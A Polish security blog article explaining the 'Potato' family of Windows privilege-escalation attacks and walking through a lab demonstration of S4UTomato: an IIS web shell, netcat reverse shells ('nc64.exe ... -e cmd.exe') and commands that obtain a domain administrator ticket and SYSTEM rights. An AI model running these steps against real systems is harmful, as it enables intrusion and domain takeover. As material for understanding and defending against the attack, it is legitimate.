Na początku tego tygodnia pisaliśmy o metodzie ataku wykorzystującej eskalację lokalnego konta użytkownika do SYSTEM i obiecywaliśmy Wam pewien bonus. Jest nim dzisiejszy artykuł, w którym zademonstrujemy jeszcze inny, ciekawszy sposób. Tym razem do przejęcia kontroli nad systemem Windows posłużymy się wbudowanym wirtualnym kontem oraz podatnością w Active Directory, której do tej pory Microsoft nie chce naprawić. Jest to tak zwany atak na gorący kartofel.
Czym jest „atak na gorący kartofel”?
Co oznacza pojęcie gorącego kartofla, chyba nie musimy nikomu tłumaczyć. Lecz w kontekście opisywanego dzisiaj ataku na systemy Microsoft ma ono duże znaczenie. Sprawa jest tak bardzo kłopotliwa i trudna do rozwiązania, że Microsoft stara się uniknąć wzięcia za nią odpowiedzialności i do tej pory nie ma łatki na problem. Winą obarcza użytkowników końcowych lub systemy zależne, które nie są odpowiednio zabezpieczone. Poniżej postaramy się to dokładniej wytłumaczyć i pokazać problem od strony technicznej.
Wszystko rozpoczyna się w 2016 roku, w którym to ujawniono exploit o nazwie „Hot Potato”. Otworzył on puszkę Pandory, umożliwiając eskalację lokalnych uprawnień w systemie Windows. Przez następne kilka lat Microsoft ciągle starał się łatać problem, który zawsze znajdował obejście i pojawiał się kolejny „gorący ziemniak”. Atak w świecie Cybersec zmieniał swoje nazwy:
- HotPotato (2016 rok),
- RottenPotato (2016 rok),
- LonelyPotato (2017 rok),
- JuicyPotato (2018 rok),
- GhostPotato(2019 rok),
- SweetPotato (2020 rok),
- RoguePotato (2020 rok),
- GenericPotato (2021 rok),
- JuicyPotatoNG (2022 rok),
- CertPotato (2022 rok),
- LocalPotato (2023 rok),
- S4UTomato (opisywany dzisiaj).
Jak wygląda atak na gorącego ziemniaka od strony technicznej?
W wielkim skrócie wszystkie techniki wykorzystania Potato są prawie identyczne: użycie pewnych funkcji interfejsów COM, oszukanie konta „NT AUTHORITY\SYSTEM” w celu połączenia i uwierzytelnienia na kontrolowanym przez atakującego serwerze RPC. Następnie, poprzez serię wywołań API, podczas tego procesu uwierzytelniania wykonywany jest atak pośredni (NTLM Relay), w wyniku którego zostaje wygenerowany token dostępu dla konta NT AUTHORITY\SYSTEM w systemie lokalnym. Ostatecznie ten token zostaje skradziony, a funkcja CreateProcessWithToken() lub CreateProcessAsUser() jest używana do przekazania tokena i utworzenia nowego procesu w celu uzyskania uprawnień SYSTEMOWYCH. Proste, prawda?
W jakim scenariuszu można przeprowadzić atak?
Odpowiedz też jest prosta – w każdym scenariuszu, w którym komputer jest przyłączony do domeny Active Directory. Wyżej wymienione techniki można wykorzystać do lokalnej eskalacji uprawnień, o ile da się uruchomić kod w kontekście konta usługi Windows lub konta wirtualnego Microsoft – pod warunkiem, że usługa Active Directory nie została odpowiednia zahartowana (utwardzona), aby w pełni obronić się przed takimi atakami.
Istnieje wiele podatnych środowisk IT, w których taki atak można wykonać bez problemu. Dlatego powinno się odpowiednio przed nim zabezpieczyć.
W środowisku domeny Windows konta wirtualne SYSTEM, NT AUTHORITY\NETWORK SERVICE i Microsoft są używane do uwierzytelniania przez konta komputerów systemowych, które są przyłączone do domeny.
Zrozumienie tego jest kluczowe, ponieważ w nowoczesnych wersjach systemu Windows większość usług Windows jest domyślnie uruchamiana przy użyciu wirtualnych kont Microsoft.
Co to są wirtualne konta Windows?
Na pewno udało Ci się zauważyć, że usługi takie jak IIS i MSSQL korzystają z dziwnie nazwanych kont. Są to ukryte konta tworzone w systemie Windows, które nazywamy kontami wirtualnymi.
Listę kont wirtualnych na Windows możemy uzyskać za pomocą komendy w Powershell:
get-wmiobject -class "win32_account" -namespace "root\cimv2" | Where-Object {$_.__CLASS -eq 'Win32_UserAccount' -or $_.__CLASS -eq 'Win32_SystemAccount'} | sort caption | format-table caption, __CLASS, FullName
Jak widać na powyższym ekranie, kont wirtualnych (ukrytych) jest naprawdę dużo. I pomyśleć, jakie mogą kryć w sobie zagrożenia…
Symulacja ataku na gorący kartofel – PoC
Istnieje sposób, aby inne aplikacje mogły korzystać z wirtualnego konta (np. napisany własny exploit) – chociażby poprzez wykorzystanie i nadużycie metody S4U w celu uzyskania biletu serwisowego dla konta administratora domeny „Administrator” na komputerze lokalnym.
W celu zademonstrowania ataku na gorący kartofel posłużymy się jednym z ciekawszych exploitów umożliwiających przeprowadzenie ataku na gorący kartofel – S4UTomato.
Korzysta on z kodu SCMUACBypass autorstwa Jamesa Forshawa (@tiraniddo) do stworzenia specjalnego biletu, za pomocą którego możemy wykreować usługę systemową i uzyskać uprawnienia SYSTEMOWE. Osiągniemy dzięki temu taki sam efekt, jak poprzez tradycyjne metody stosowane w rodzinie technik eskalacji uprawnień „Potato”.
Aby przeprowadzić atak z sukcesem, wcześniej musimy uzyskać TGT (Ticket Granting Ticket) dla lokalnego konta maszyny. Nie jest to łatwe ze względu na ograniczenia nałożone przez uprawnienia konta usługi, uniemożliwiające nam uzyskanie klucza długoterminowego komputera, a tym samym niemożność skonstruowania żądania KRB_AS_REQ. Aby osiągnąć wyżej wymieniony cel, exploit S4UTomato łączy w sobie trzy techniki: ograniczone delegowanie oparte na zasobach, poświadczenia w tle i Tgtdeleg.
Krok 1. Kompilacja kodu exploita S4UPotato w VisualStudio
Krok 2. Stworzenie WebShell na IIS
W celu przejęcia wirtualnego konta IIS (iis apppool\defaultapppool) utworzyliśmy WebShell, umożliwiający nam komunikację z powłoką netcat – utworzenie odwrotnej powłoki TCP.
Kod naszego WebShell w ASP .Net zawiera możliwość pisania komend, które będą wykonywane w kontekście użytkownika IIS, i wygląda następująco:
Dlaczego interesuje nas przejęcie konta „iis apppool\defaultapppool”, o tym później.
Krok 3. Uruchomienie powłoki netcat na Windows na porcie 2333 i 4444 TCP
Na Windows jesteśmy zalogowani jako zwykły użytkownik – „kapitanhack.pl”. Możemy to sprawdzić, wyświetlając uprawnienia za pomocą komendy „whoami /priv”.
Uruchamiamy narzędzie netcat na 2 portach i nasłuchujemy komunikację:
Krok 4. Nawiązanie połączenia z IIS z powłoką netcat
Po wejściu na stronę webową z naszym WebShell http://localhost/KHWebshell.asp” uruchamiamy polecenie „nc64.exe 127.0.0.1 2333 -e cmd.exe” i wciskamy przycisk RUN.
Widzimy, że IIS nawiązał połączenie z lokalną powłoką netcat na porcie 2333.
W rezultacie uzyskania tego połączenia otrzymaliśmy odwrotną powłokę, w której przechwyciliśmy uprawnienia „iis apppool\defaultapppool”. I tutaj wyjaśniamy, dlaczego ważne jest przechwycenie tego wirtualnego konta. Odpowiedź zawiera poniższy screen.
Konto „iis apppool\defaultapppool” posiada uprawnienie SeImpersonatePrivilege, które pozwala namna personifikację innych kont na Windows.
Krok 5. Przeprowadzenie w exploicie S4Utomato delegacji uprawnień
W tym konkretnym przypadku będziemy chcieli przedstawić się w Active Directory jako konto komputera i uzyskać bilet Administratora domeny. W tym celu należy poprosić o niego AD, uruchamiając polecenie „S4UTomato.exe tgtdeleg”.
Udało się. Otrzymaliśmy bilet komputera „HOST/WIN10_BITLOCK” oraz TGS administratora domeny. Teraz nie pozostało nam nic innego, jak nawiązać drugą sesję do netcat na porcie 4444 TCP. Posiadamy bilet konta komputera, więc możemy na nim robić wszystko.
Krok 6. Eskalacja uprawnień do SYSTEM na komputerze Windows
W tym samym wierszu poleceń (lewe okno) z kroku 5 wpisujemy komendę
S4UTomato.exe krbscm -c „c:\temp\nc64.exe 127.0.0.1 4444 -e cmd.exe"w celu uruchomienia odwrotnej powłoki na koncie komputera (prawe okno).
Od teraz możemy się cieszyć uprawnieniami SYSTEM w nowej powłoce cmd.
Podsumowanie
Liczba exploitów w rodzinie ziemniaków wynika głównie z gry w kotka i myszkę, w którą Microsoft i badacze cyberbezpieczeństwa grają od samego początku, łatając obejście za obejściem. Ale ogólnie koncepcja pozostaje taka sama i dopóki można przekazywać protokół NTLM, privesc zawsze będzie istniał (i jest piękny).
Zalecamy sprawdzenie Waszych ustawień bezpieczeństwa w środowisku IT i odpowiednie zabezpieczenie się przed tego typu atakiem. Zapraszamy także do kontaktu 🙂